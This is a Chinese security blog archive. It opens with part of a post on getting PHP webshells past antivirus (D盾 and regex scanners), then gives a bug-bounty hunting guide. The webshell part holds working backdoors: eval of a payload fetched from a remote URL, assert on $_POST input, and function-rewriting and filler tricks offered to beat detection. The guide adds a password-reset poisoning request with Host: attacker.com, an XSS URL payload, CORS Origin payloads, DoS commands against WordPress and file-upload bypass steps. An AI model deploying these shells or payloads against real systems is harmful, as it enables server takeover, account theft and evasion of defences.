        @eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
        }}
new FKPC();

function HHGJ($UyGv,$x) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
    $svfe[] = chr((ord($f[$i])+$x));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>

当然肯定能用

但是这转了一圈简直不低碳啊我不能直接http获取payload吗 …

简化代码：

<?php
class KUYE{
        public $a = 'yshasaui';
        public $b = '';
        function __construct(){
        $url = "http://xxx/1.txt";
        $fp = fopen($url, 'r');
        stream_get_meta_data($fp);
        while (!feof($fp)) {
            $body.= fgets($fp, 1024);
        }
        $this->b = $body;
        @eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");
        }}
new KUYE();
?>

0x03：重写函数Bypass

众所周知正则类杀软最喜欢直接把危险函数加入规则那么它杀的是函数名还是逻辑呢？

试一试就知道了

我们的样本如下：

<?php

$a = substr("assertxx",0,6);

$a($_POST['x']);

?>

这是个使用substr函数切割关键字的小马

直接扔到webdir+杀

毫无疑问的被杀了

那么我们重写substr函数

function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}

然后把函数替换

<?php
$b = 'assert(xyz@';
$c =  mysubstr($b,0,6);
$c($_POST['zero']);
function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}
?>

再拿去杀

结论很清楚了

再来D盾杀一下

不错报2级了这就是沙盒型查杀和正则类查杀的明显区别怎么过呢用构造方法即可

<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($string, $start = 0, $length = null) {
    $result = '';
    $strLength = strlen($string);
    if ($length === null) {
        $length = $strLength;
    }
    $length = (int) $length;
    $start = $start < 0 ? ($strLength + $start) : ($start);
    $end = $length < 0 ? ($strLength + $length) : $start + $length;
    if ($start > $strLength || ($end - $start) === 0) {
        return $result;
    }
    for (; $start < $end; $start ++) {
        $result .= $string[$start];
    }
    return $result;
}
?>

看到这里大家可能也很奇怪这里都没用到mysubstr函数放上去不是多此一举吗

不好意思恰恰不是我们可以去掉这个函数用D盾杀一下

<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
?>

怎么样是不是很有趣

这里放这堆代码并不是为了真的用它而是为了过D盾的特征查杀所以放什么函数是无所谓的。

比如这样：

<?php

class pure
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
    echo "?sasasjajksjka";
}
?>

这里只介绍了重写substr函数那么其他的函数可以吗当然可以

0x04：写在后面

只要思想不滑坡方法总比困难多

Bypass Reprint Webshell

SRC 发掘之旅

Aug 9, 2022

斯卡蒂的赏金猎人之旅（SRC）

本文实际上是在 HowToHunt 的基础上结合自己在安全学习工作的经验，算是译写的一份 SRC 初步指南，有时间学习 SRC 发掘应该就会更新（已完结）。

斯卡蒂的赏金猎人之旅（SRC）
- 如何发现猎物？（How To Hunt?）

如何发现猎物？（How To Hunt?）

账户控制（account takeovers methods）

XSS cookie 劫持

在身份验证与会话管理过程中尝试进行劫持；

利用 XSS 等方法尝试去窃取 cookie，从而达到控制账户的目的。

弱密码与登录次数

如果一个登录页没有对密码复杂度进行严格要求，或可以尝试弱密码与初始/管理账户登录（admin/password）；

如果一个登录页没有对一定时间内的登录次数进行限制，可以尝试初步爆破以致SQL注入。

窃取重置密码凭证（token）

对可疑站点进行账户密码修改的操作；

利用 BurpSuite 拦截修改请求，并修改包 header 中的 host 值，如：

1 2	Host: target.com Host: attacker.com

也可以尝试在不修改 host的情况下在 header 中加入一些字段：

1 2	X-Forwarded-Host: attacker.com Referrer: https://attacker.com

放行发送这个包，如果你在 attacker.com 接下来的 log 中发现了请求，说明你已经成功窃取了这个 token。

详见Password reset poisoning

尝试 CSRF

修改密码处

修改邮箱处

修改账号安全问题处

响应包令牌泄露

在注册页或密码重置页：

拦截提交的请求包；

Proxy - Intercept - 右键 - 拦截执行（Do intercept） - 此请求的响应（Response to this request），即拦截 response；

放行 request，查看 response 中是否有任何链接、凭证（token）或一次性密码/动态密码（OTP）。

应用程序级 DoS（Application Level DoS Methods）

邮件退回攻击

查看应用程序是否具有群发功能；

伪装需要攻击的邮箱地址作为发件人（如小公司自建企业邮箱）；

向无效的电子邮件账户群发大量邮件；

查看电子邮件服务供应商的退信限制上限；

达到这个退信限制后，被伪造的发件人公司将在一定时间内无法再次发送邮件。

推荐先用checkdmarc测一下有没有 SPF 等策略，有的话不同邮箱域名间伪造很可能被拦截，当然也看技术手法，我之后也应该会更新一篇详细介绍邮件伪造的~~（咕咕咕）~~。

参考
An Unexpected Bounty — Email Bounce Issues

长密码拒绝服务

密码明文理应被哈希加盐后存储在数据库中，如果没有对密码长度进行限制，那么过长的密码在进行哈希运算时就可能消耗大量的资源。

测试方式：

用长度150-200字的密码测试是否有长度限制；

如果没有，换更长的密码测试，关注一下页面响应的时间；

甚至可以看看会不会崩溃。

测试点：

很多页面在注册时限制了密码长度，但是在忘记密码和修改密码的地方遗漏了这个限制。

我应该也有相关的 Exploit 文章记录。

参考
Long password denial of service
No length on password

长字符拒绝服务

当使用一些过长的字符串时，服务器可能无法处理，在一定时间内造成拒绝服务。

测试点：

尝试在用户名或网路地址，甚至文件与图片名中使用约1000字符的字串；

用 B 账户搜索 A 账户，其中 A 账户为长字串。
看看是否一致处于搜寻状态
或者应用崩溃，返回 500 状态码

参考
Long String DoS
profile-picture name parameter with large value lead to DoS for other users and programs on the platform

试试这个密码

实际上并不建议使用超过 5000 个字符的密码
但这里有一个密码本

对受害者的永久拒绝服务

这不仅是从应用角度的 DoS，而且可能是对受害者永久的 DoS。在某些网站中，用户用错误的登录凭据登录后，在一定时间内会被登录阻止，我们把这个功能视为 Bug :D。

测试方式：

到某个网站的登录页面（如 example.com）；

现在输入有效的电子邮件账户和错误的密码；

多登录几次（至少 10 - 20 次），可以用 BurpSuite 进行重发（这里要关注一个验证码问题，这个每次要输入，有时候可能也做了加密处理）；

如果账号被阻止登录，且时长越来越长，超过 30 分钟，可以视为存在漏洞。

需要注意：

确保登录期间没有验证码，因为我们不能使用任何自动化工具来循环请求；

确保旧的登录会话在被阻止登录后已经过期。

反馈此漏洞时可以说能够通过时间间隔循环此登录请求来阻止某用户正常登录。

参考
Commonly Misunderstood Bugs: DDoS & DOS

绕过身份验证（Authentication Bypass）

讲道理，这里的绕过身份认证更多的是在知道密码的情况下绕过二次认证，要知道用户密码为前提有点没太大意义，无法扩散危害，只能说机制有漏洞可能被劫持利用。

二次认证（2FA）绕过

修改响应

如果在 2FA 认证的响应包中表示认证状态的布尔值“success”为“false”，改成“true”试一下。

修改状态码

如果认证响应的状态码为 4xx，改成 200 OK 看看能不能绕过。

2FA 码泄露

拦截认证响应包，看看是否有 2FA 码直接泄露。

分析 JS 代码

就是看看能不能在认证页的 JS 中直接找到 2FA 码生成的代码，以此推测出 2FA 码。

2FA 码重用

相同的 2FA 码能够被用于下次认证。

缺少爆破防护

不够长的 2FA 码或许能够被爆破出来。

2FA 码缺少完整性验证

任何用户的 2FA 码都可以通过认证。

在禁用 2FA 时进行CSRF

禁用 2FA 时没有进行 CSRF 保护，或者没有再次进行 2FA 验证。

密码重置禁用 2FA

在密码更改/电子邮件更改时禁用 2FA 验证。

Backup Code Abuse

Bypassing 2FA by abusing the Backup code feature
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
（这里说的是因为备份码被滥用而绕过 2FA 验证，但是我没能理解，看参考文章也是每太理解，就放在这了）

在禁用 2FA 页面进行点击劫持

在 2FA 禁用页面设置点击劫持，并利用社会工程学方式诱导禁用 2FA。

启用 2FA 无法使之前的会话过期

如果存在被劫持的会话且没有设置会话超时，则 2FA 会被绕过。

利用 null 或 000000 绕过 2FA

在输入 2FA 码时利用 null 或者 000000 尝试进行绕过。

参考
Testing Two-Factor Authentication
How I abused 2FA to maintain persistence after a password change

一次性密码/动态密码（OTP）绕过

修改响应包在注册用户页/登录账户绕过 OTP

方式一：

使用手机号码注册账户/登录账户并申请 OTP；

输入不正确的 OTP 并在 BurpSuite 中捕获请求；

拦截响应并修改：

响应如果是：
{"verificationStatus":false,"mobile":9072346577","profileId":"84673832"}
修改为：
{"verificationStatus":true,"mobile":9072346577","profileId":"84673832"}

转发此响应，看能否登录账户。

方式二：

使用任意 2 个手机号码注册 2 个账户，第一个手机输入正确的 OTP；

拦截注册请求，并选择拦截此请求的响应，放行请求；

记录响应包中各参数状态；

另一个手机输入错误的 OTP；

拦截注册请求，并选择拦截此请求的响应，放行请求；

将响应包中各参数修改为正确 OTP 响应状态值，看是否能成功登录。

使用重发器重复提交表单绕过 OTP

使用不存在的电话号码创建账户；

利用 BurpSuite 拦截请求，并发送到重发器（Repeater）；

把重发器中请求的电话号码修改为正确的电话号码后，记录 OTP；

回到拦截器（Intercept），放行请求，尝试用之前获得的 OTP 进行注册。

无速率限制

创建账户，当应用程序需要你提供 OTP 时，输入错误的 OTP 并拦截此请求；

将此请求发送至重发器（Repeater），选择 OTP 的值，开始在有效范围爆破；

如果没有速率限制，当 OTP 较短复杂度较低，则很容易爆破出来。

利用断开链接劫持（Broken-Link Hijacking）

查找目标站点上的外部链接（如一些指向社交媒体账户的链接或一些外部媒体链接）

检查目标站点公司是否是这个链接的域名所有，没有的话可能被注册用于恶意行为。

举例，一个很有名的网站上有调用 JS 文件，存放 JS 文件的链接已经失效，你可以注册，然后在相同的路径放上恶意的 JS 文件。以下工具用于查找断开的链接：
broken-link-checker
Online Broken Link Checker
Alternative Online Broken Link Checker

参考
Broken Link Hijacking - How expired links can be exploited
How I was able to takeover the company’s LinkedIn Page

由会话衍生的问题（Session Based Bugs）

会话的认证与劫持很多也是建立在你能获取一定的信息上的，也更多是机制上的问题，危害传播更困难。

旧会话在密码更改后不会过期

在目标站点上创建账户；

使用同一账户登录两个浏览器（以 Chrome 和 Firefox 为例）；

在 Chrome 中更改密码，成功更改后，刷新在 Firefox 上的页面，看看是否是登录状态。

会话劫持（预期行为）

创建你的账户并登录；

利用浏览器的 cookie 编辑器插件，copy 所有的目标 cookie，然后登出你的账户；

把所有的目标 cookie 粘贴进 cookie 编辑器；

刷新页面，看看你是否还是登陆状态。

Firefox 的插件Cookie-Editor

密码重置令牌不会过期（不安全的可配置项）

在目标网站上创建账户后，登录时请求忘记密码；

不要使用重置密码的链接，而是使用旧密码登录，并将你的电子邮件修改为其他邮箱；

现在使用发送到旧电子邮箱的修改密码链接，看是否可以修改密码，如果是，则存在漏洞。

安全页的缓存控制（服务器安全性配置错误）

登录应用程序页面，浏览使用功能后注销；

按 Alt + ← ，看是否能回到应用程序登录后的页面。

绕过电子邮件确认认证

在创建用户时，会收到一个邮箱验证链接；

应用程序在没有进行邮箱验证的情况下只会提供较少的权限和功能许可访问；

登录到应用程序，将电子邮件地址更改为电子邮件 B；

会向电子邮件 B 再发送一份验证链接；

将电子邮件更改回创建账户时的电子邮件，看电子邮件是否已验证。

这个并不适用于创建账户就要邮箱的情况，感觉要邮箱链接确认账户激活才能登录就会不行，除非注册时候换邮箱再换回去也可以（但理论上再换回去回再发一封确认邮件）；而当用手机号等登录上去了，绑定邮箱有可能都不要验证。

电子邮件验证绕过

使用自己的电子邮件地址创建一个账户，创建中会需要电子邮件验证；

不要使用验证链接，而是回到注册页，把电子邮件地址修改为受害者电子邮件地址进行创建；

现在回到自己的电子邮箱，确认链接，看是不是受害者的邮箱被确认。

旧密码重置令牌在请求新令牌时未过期

首先，利用有效的电子邮箱创建一个账户，然后注销；

选择忘记密码，请求重置密码链接，但是不要去邮箱使用链接；

再次请求一个密码重置链接；

去电子邮箱使用第一个密码重置链接，看是否能修改密码。

密码重置令牌在密码更改后未过期

首先，利用有效的电子邮箱创建一个账户，然后注销；

选择忘记密码，请求重置密码链接，使用密码重置链接修改密码后登录；

现在再次使用邮箱中的密码重置链接，看是否还能修改密码。

内容管理系统（CMS）

Wordpress

基本扫描工具Wpscan

xmlrpc.php
这是 wordpress 上常见的问题之一，可以通过这种错误的配置进行漏洞利用。

检测：

访问 site.com/xmlrpc.php（有可能有二级路径）

获取有关 POST 请求的错误信息

利用：

拦截请求包，把请求方式由 GET 改为 POST

列出所有 method

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

检查是否存在pingback.ping方式

试试 DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

试试 SSRF（仅限内部端口扫描）

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

XMLRPC-Scan 可以配合 BurpSuite 一起测试。

参考
Bug Bounty Cheat Sheet 这篇文章或许会很有用
Wordpress xmlrpc.php -common vulnerabilites & how to exploit them 讲的很清晰

目录枚举
有时开发人员会忘记禁用/wp-content/uploads上的目录列表。

检测：
/wp-content/uploads
可以将这个路径加入到模糊词表中

其实有一个目录爆破工具gobuster 挺好用也挺强大的

参考
Wordpress directories/files visible to internet

CVE-2018-6389
此问题可能会使 4.9.3 以下的任何 Wordpress 网站关闭。

检测：
利用下面链接内的 poc，在可疑的 Wordpress 站点请求，你在响应中会获得一堆的 js 数据：
loadsxploit

利用：
您可以使用任何 Dos 工具，Doser 好像很快，在 30 秒内关闭了 Web 服务器：
Doser
python3 doser.py -t 999 -g 'https://site.com/fullUrlFromLoadsxploit'

参考
DoS of https://nordvpn.com/ via CVE-2018-6389 exploitation
How to DoS 29% of the World Wide Websites - CVE-2018-6389 原理讲的很详细

CVE-2021-24364
5.4.4之前的Jannah WordPress主题在将其输出回页面之前，没有正确清理tie_get_user_weather AJAX操作中的选项JSON参数，导致了一个反映的跨站点脚本（XSS）漏洞。

检测并且利用：
把替换成你的 WP 站点请求即可等待弹窗：

<Your_WP-Site-here>/wp-admin/admin-ajax.php?action=tie_get_user_weather&options=%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7D

WP Cronjob DoS
你可以在这个区域也尝试一下 DoS。

检测：

访问 site.com/wp-cron.php

您将看到一个空白页面，其中包含 200 HTTP 状态码

利用：
同样使用 Doser 来利用：
python3 doser.py -t 999 -g 'https://site.com/wp-cron.php'

WP-Cron detection?
The nightmare that is wp-cron.php

WP 用户枚举
仅当目标网站隐藏其当前用户或未公开可用时，此问题才会被接受。因此，攻击者更多是使用这些用户数据进行爆破。

检测：

访问 site.com/wp-json/wp/v2/users/

您将看到带有用户信息的 json 数据作为响应

利用：

如果能联合 xmlrpc.php 方式的信息泄露，去请求，如使用
*)wp.getUserBlogs
*)wp.getCategories
*)metaWeblog.getUsersBlogs）
则能更准确的进行爆破，详见 xmlrpc.php 版块的 
Wordpress xmlrpc.php -common vulnerabilites & how to exploit them 文章

参考
Wordpress Users Disclosure (/wp-json/wp/v2/users/)

Moodle

Mass Hunting XSS — Moodle
确实一篇文章讲述清楚了 = =

跨域资源共享（CORS）

CORS 配置错误

单目标狩猎：

用爬虫爬取目标网站并用 BurpSuite 截取请求与响应；

用 BurpSuite 寻找Access-Control；

尝试在请求中添加Origin Header，如Origin:attacker.com或Origin:null或Origin:attacker.target.com或Origin:target.attacker.com；

如果在响应中发现了 Origin 的相关信息，则目标站点可能存在错误的 CORS 配置。

多目标（含子域）狩猎：

子域发现：subfinder -d target.com -o domains.txt；

域名判活：cat domains.txt | httpx | tee -a alive.txt；

把每一个存活子域送进 BurpSuite：cat alive.txt | parallel -j 10 curl --proxy "http://127.0.0.1:8080" -sk 2>/dev/null；

如单目标一般开始狩猎。

憨批为什么不用自动化工具：
CORScanner
theftfuzzer
Corsy
CorsMe

参考
绕过浏览器SOP，跨站窃取信息：CORS配置安全漏洞报告及最佳部署实践讲得很好

自动化狩猎：

利用 subfinder、assetfinder、findomain 等工具搜寻子域：subfinder -d target.com | tee -a hosts1 , findomain -t target.com | tee -a hosts1 , assetfinder --subs-only target.com |tee -a hosts1；

之后做一下数据处理与判活：cat hosts1 | sort -u | tee -a hosts2，cat hosts2 | httpx | tee -a hosts；

看看这些 hosts 在终端有哪些路径回显；

然后试试 meg -v；

进程完成后再利用 gf 看看 CORS；

所有链接将携带Access-Control-Allow被展示出来。

meg
gf
subfinder
assetfinder
findomain
httpx

CORS 绕过

POC:

Origin:null
Origin:attacker.com
Origin:attacker.target.com
Origin:attackertarget.com
Origin:sub.attackertarget.com
Origin:attacker.com and then change the method Get to post/Post to Get
Origin:sub.attacker target.com
Origin:sub.attacker%target.com
Origin:attacker.com/target.com

参考
Twitter：TR Bug Hunters@trbughunters
Twitter：Paresh@Paresh_parmar1
Twitter：Emad Shanab - أبو عبد الله@Alra3ees

CSRF

CSRF 发现

只需删除 CRSF token
毫不夸张地说，这是许多网络应用中常见的问题；

令牌未连接到会话
网络应用程序只检查了 token 的是否存在即有效性，并未检测它的归属性，可以看看：
Bob 的 token 对 Alice 有效吗？
任何匿名用户的 token 对 Alice 有效吗？

利用 Content-Type
移除 token 并且更换 Content-Type：
Urlencoded form -> JSON
JSON -> Urlencoded form
Urlencoded form -> multipart form

转换请求方式 POST -> GET
服务器可能会跳过对 GET 请求的 CSRF 检查并接受 URL 中的正文参数：

POST /change_password
POST body:
new_password=qwerty

GET /change_password?new_password=qwerty

PHP 类型戏法
使用松散的比较策略（==，!=）可能会导致意料之外的结果并产生 CSRF 绕过的风险：
{"action": "delete", "csrf": "1bc...ade"}
{"action": "delete", "csrf": 0}

双重 Cookie 提交
如果你能控制用户的 cookie，尝试把你自己的 CSRF token 都放置在 body 和 cookie 中，可以尝试：
Cookie 注入
任何子域的 XSS
子域接管

CSRF思维导图

CSRF 绕过

CSRF 可能出现在登录，注销，重置凭证，更改密码，添加购物车，喜欢，评论，个人资料更改，用户详细信息更改，余额转移，订阅等位置：

更改请求方法 [POST => GET]

删除整个 token 参数

删除令牌，并给出一个空白参数

使用在另一个请求中未使用的有效令牌

使用自己的 CSRF token 将其提供给受害者

用相同长度的值替换 token

逆向工程令牌

通过 HTML 注入提取 Token

从 Non-Form Content-Type: application/json或Content-Type: application/x-url-encoded切换到Content-Type: form-multipart

更改/删除令牌中的最后一个或第一个字符

将referrer更改为Referrer

绕过正则表达式
如果网站在引用的 URL 中寻找“bank.com”，那么“bank.com.attacker.com”或“attacker.com/bank.com”可能会起作用。

删除引用标题（在您的 payload 或 html 代码中添加<meta name=”referrer” content=”no-referrer”>）

点击劫持
（如果您不熟悉点击劫持攻击，可以在OWASP 找到更多信息。）
在同一端点上利用点击劫持会绕过所有 CSRF 保护。因为从技术上讲，请求确实来自合法站点。如果易受攻击的端点所在的页面容易受到点击劫持，则所有 CSRF 保护都将变得无关紧要，您将能够获得与端点上的 CSRF 攻击相同的结果，尽管需要付出更多努力。

参考
Intro to CSRF: Cross-Site Request Forgery
Attacking Sites Using CSRF
Bypassing CSRF Protection
讲的都挺好的

寻找 CVE（finding CVES）

CVES

抓取所以子域，如subfinder -d domain.com | tee -a domains.txt；

寻找所有存活域，如cat domains.txt | httpx -status-code | grep 200 | cut -d " " -f1 | tee -a alive.txt；

利用 nuclei 进行基本检测、面板检测、工作流检测、cve 模板检测，并把检测结果保存至不同文件中：cat alive.txt | nuclei -t nuclei-templates/workflows | tee -a workflows；

仔细且有耐心的查看输出；

在你的目标上发现些有趣的东西，比如使用了 Jira；

把该链接放入浏览器看看版本；

去找找看这个版本的 Jira 是否存在什么漏洞；

去寻找这个漏洞的各种 poc，包括别人可能改进的。

Web 应用程序渗透测试检测清单

Web Application Pentesting Checklist
Web Checklist by Chintan Gurjar.pdf
Mindmap by Rohit Gautam
Mindmap by Cristian Cornea
都挺有用的

网页代码审计（Web Page Source Code Review）

重要功能优先

阅读源代码时，请专注于重要功能，例如身份验证，密码重置，状态更改操作和敏感信息读取。（什么是最重要的将取决于应用程序。然后，查看这些组件如何与其他功能交互。最后，审核应用程序的其他不太敏感的部分。

跟随用户输入

另一种方法是遵循处理用户输入的代码。HTTP 请求参数、HTTP 标头、HTTP 请求路径、数据库条目、文件读取和文件上传等用户输入为攻击者利用应用程序漏洞提供了入口点。这也可能有助于我们找到一些关键漏洞，如xxe，xxs，sql注入。

硬编码的密钥与凭据

在源代码审查期间，可以轻松发现硬编码的机密，例如API密钥，加密密钥和数据库密码。您可以 grep 查找关键字，例如“key”、“secret”、“password”、“encrypt”或正则表达式，搜索十六进制或 base64 字符串（取决于所使用的密钥格式）。

使用危险功能和过时的依赖关系

不受控制地使用危险功能和过时的依赖项是错误的巨大来源。Grep 以获取您正在使用的语言的特定函数，并搜索依赖项版本列表以查看它们是否过时。

开发人员备注、隐藏的调试功能、配置文件和 .git 目录

这些是开发人员经常忘记的事情，它们使应用程序处于危险状态。开发人员的评论可以指出明显的编程错误，隐藏的调试功能通常会导致权限提升，配置文件允许攻击者收集有关您的基础架构的更多信息，最后，公开的.git目录允许攻击者重建您的源代码。

隐藏路径、已弃用的端点和开发中的端点

这些是用户在正常使用应用程序时可能不会遇到的点。但是，如果它们有效并且被攻击者发现，则可能导致身份验证绕过和敏感信息泄漏等漏洞，具体取决于暴露的端点。

弱密码或散列

这是一个在黑盒测试期间很难发现的问题，但在审查源代码时很容易发现。查找诸如弱加密密钥、可破解加密算法和弱哈希算法等问题。Grep 寻找 ECB、MD4 和 MD5 等术语。

缺少对用户输入和正则表达式强度的安全检查

查看源代码是找出缺少哪种安全检查的好方法。通读应用程序的文档，并测试您可以想到的所有边缘情况。对于您应该考虑哪种边缘情况，一个很好的资源是PayloadsAllTheThings 。

缺少 Cookie 标志

注意缺少的 cookie 标志，例如httponly和security。

意外行为、条件与不必要的复杂函数

此外，还要特别注意应用程序的意外行为、条件和复杂函数。这些位置是经常发现晦涩错误的地方。

没有剥离的 EXIF 地理数据（EXIF Geo Data Not Stripped）

介绍

当用户在 example.com 上传图像时，上传图像的EXIF地理位置数据不会被剥离。因此，任何人都可以获得 example.com 用户的敏感信息，例如他们的地理位置，他们的设备信息，例如设备名称，版本，使用的软件和软件版本等。

复现步骤

在 exif-samples 上能找到很多不同分辨率及大小的图片；

去一个上传图片的站点，上传 exif-example 中符合规则的图片；

查看上传图片的路径（要么右键单击图片然后复制图片地址，要么右键单击，检查图片，URL将进入检查，将其编辑为html）；

现在用Online Exif Viewer 看看那个图片链接有没有暴露有效信息。

参考
IDOR with Geolocation data not stripped from images

文件上传绕过（File Upload Bypass）

假设有一个限制，你只能以PDF、JPEG、JPG等几种格式上传文件，但如果你可以通过无视这种上传机制和文件类型检查来上传一个PHP文件会如何？
如果有人能上传一个PHP文件，那么一旦他上传一个 php shell，就可以轻松的执行 RCE，最不济也能在服务器上获得一个反弹 shell。

绕过的原理

这一般取决于系统使用哪种验证，如果他只是对文件的扩展名进行校验，那么绕过他将非常容易。
现在假设我们必须上传一个JPG文件，即拓展名必须是 XX.jpg：

绕过一般的拓展验证

上传一个以 .php.jpg 或 .jpg.php 为拓展名的文件试试

绕过魔术字节验证

在这种绕过中我们使用 polygots.在安全相关文章中，Polyglots 是指多语言且多种不同文件类型有效形式的结合。
例如，GIFAR 文件既是一种 GIF 又是一种 RAR 文件。也有文件能既是 GIF 又是 JS，既是 PPT 又是 JS 等等。

所以当我们被要求要上传一个 JPEG 类型的文件时我们可以上传一个 PHAR-JPEG 文件，因为 PHAR-JPEG 文件同时具有 JPEG 标头和 PHP 文件内容，在验证时会被视为 JPEG 文件，稍做处理后可被作为 PHP 文件被利用。
但是，如果你没有网站文件上传测试的许可，请不要进行文件上传测试，除非你想进行恶意行为（文件上传将留有痕迹和脏数据，这是服务器不想承受的，所以没有许可就不要试了，也没钱拿）。

绕过步骤

创建具有应用程序接受拓展名的恶意文件；

上传该文件后，确认（发送）；

在 Burpsuite 中捕获请求，将文件拓展名修改为所需的恶意拓展名，某些情况下你可能还需需要修改文件的内容类型；

将请求转发至服务器，看看响应状态，在页面尝试触发恶意文件。

参考
malicious-pdf - 恶意 PDF 生成器

溯源（Find Origin）

验证 WAF

1 2	dig +short example.com curl -s https://ipinfo.io/IP \| jq -r '.org'

借助 AWS，你通常可以识别存在AWSLB和AWSLBCORS Cookie 的负载均衡器

确定来源

用dnsdumpster 可以生成域名地图
接下来用Censys 进行搜索，并将看起来与目标匹配的ip保存在文本文件中。如https://censys.io/ipv4?q=0x00sec.org
找到与域绑定的IP的另一种方法是查看其历史IP。可以用SecurityTrails DNS trails 跟踪

在这里我们能看到存在的A记录及存在的时间。管理员在使用多年的“裸机”后切换到 WAF 解决方案是非常常见的，但他们不一定会配置白名单。

你可以把输出的结果表格整个复制保存在txt中，然后用一下 awk 过滤出 ip：

1	grep -E -o "([0-9]{1,3}[\\.]){3}[0-9]{1,3}" tails.txt \| sort -u \| tee -a ips.txt

域名系统枚举

如果枚举目标 DNS，你有可能发现他们具有类似dev.example.com或staging.example.com子域的内容，并且它可能指向没有 WAF 的源主机

1 2	- Get all the subdomains. `subfinder -silent -d 0x00sec.org \| dnsprobe -silent \| awk '{ print $2 }' \| sort -u \| tee -a ips.txt`

检查主机IP

for ip in $(cat ips.txt) # iterate through each line in file
do 
    org=$(curl -s <https://ipinfo.io/$ip> | jq -r '.org') #  Get Org from IPInfo
  title=$(timeout 2 curl -s -k -H "Host: 0x00sec.org" <https://$ip/> | pup 'title text{}') # Get title
    echo "IP: $ip Title: $title Org: $org" # Print results
done

这样我们就能大致快速浏览出哪个IP对应哪个 Host header，并且知道标题
我们遍历了每个主机，直接用 host header 请求IP，且我们有我们的源IP

手动设置 Host Header

1	curl -s -k -H "Host: 0x00sec.org" https://<ip address>/

或者直接在 Burpsuite 中设置 Host Header

CloudFail

git clone <https://github.com/m0rtem/CloudFail.git>
cd CloudFail
pip install -r requirements.txt
python3 cloudfail.py -t 0x00sec.org

事先侦察

一般的侦察过程是为了尽可能的获得更多的ip地址（host, nslookup, whois, ranges…），然后检查哪些服务器启用了 Web 服务（netcat, nmap, masscan）
一旦拥有了这些 Web 服务器的IP列表后，下一步就是检查其中一个服务器上的受保护域是否配置为虚拟主机

Censys

在选择输入中选择Certificates，提供目标域，然后点击\
你应该会看到适合你目标的证书列表
单机每个结果以显示详细信息，然后在最右侧的Explore菜单中选择IPv4 Hosts
你应该能够看到使用证书的服务器的IP地址
从这里开始，获取所有可能的IP，然后回到上一节，尝试通过所有这些IP访问你的目标：

1	curl -s -k -H "Host: 0x00sec.org" https://<ip address>/

邮件头

下一步是检索目标发出的邮件中的标题：订阅新闻通讯、创建账户、使用“忘记密码”功能、订购某些东西……简而言之，尽一切努力从你正在测试的网站获取电子邮件
收到电子邮件后，请检查来源，尤其是标题。记录你可以在那里找到的所有IP，以及可能属于托管服务的子域。然后，再次尝试通过所有这些来访问你的目标。
The value of header Return-Path worked pretty well

参考
溯源（Find Origin）实现上部分
 溯源（Find Origin）实现下部分

GraphQL

Videos

GraphQL Video - InsiderPhd
REST in Peace: Abusing GraphQL to Attack Underlying Infrastructure - LevelUp 0x05

Blogs

Exploit GraphQL - Yeswehack Blog
Hacking GraphQL - Part1 Part2
That single GraphQL issue that you keep missing
Reverse engineer a GraphQL API
Exploit GraphQL
GraphQL Resources Thread

Tools

GraphQL Voyager
GraphQL Cheatsheet
AutoGraphQL
graphw00f
InQL - Introspection GraphQL Scanner

Labs

Damn-Vulnerable-GraphQL-Application

HTTP 走私漏洞（HTTP_Desync Attack）

基础概念

HTTP 请求夹带攻击是一种干扰站点处理从一个或多个用户接收 HTTP 请求队列的技术。请求夹带攻击通常十分严重，它允许攻击者绕过安全控制、未经授权访问敏感数据并直接危害其他应用程序用户。

攻击位置

任何端点都有可能受到 HTTP 走私攻击（数据接收不同步攻击）
你也可以在非端点上寻找漏洞，但敏感端点收到的影响明显更高

第一步：
利用 Burpsuite 的 Repeater 模块，尝试寻找各种基于时间的 payload 去确认漏洞是否存在：Find the Vulnerability

第二步：
一旦你成功发现了 BUG，你可以尝试用任何 EXP 链接它，如通过窃取会话 id 接管账户，在 User-Agent Header 使用 XSS 攻击等：Exploiting the Vulnerability

实用工具

defparam’s_smuggler.py

Usage:
Smuggler.py :
cat alive_urls.txt | python3 smuggler.py -m GET/POST #either GET or POST
OR
python3 smuggler.py -u https://example.com -m GET/POST

Burp_smuggler

Topics

Protocol Layer Attack - HTTP Request Smuggling
HTTP Desync Attacks: Request Smuggling Reborn
HTTP request smuggling

Reports

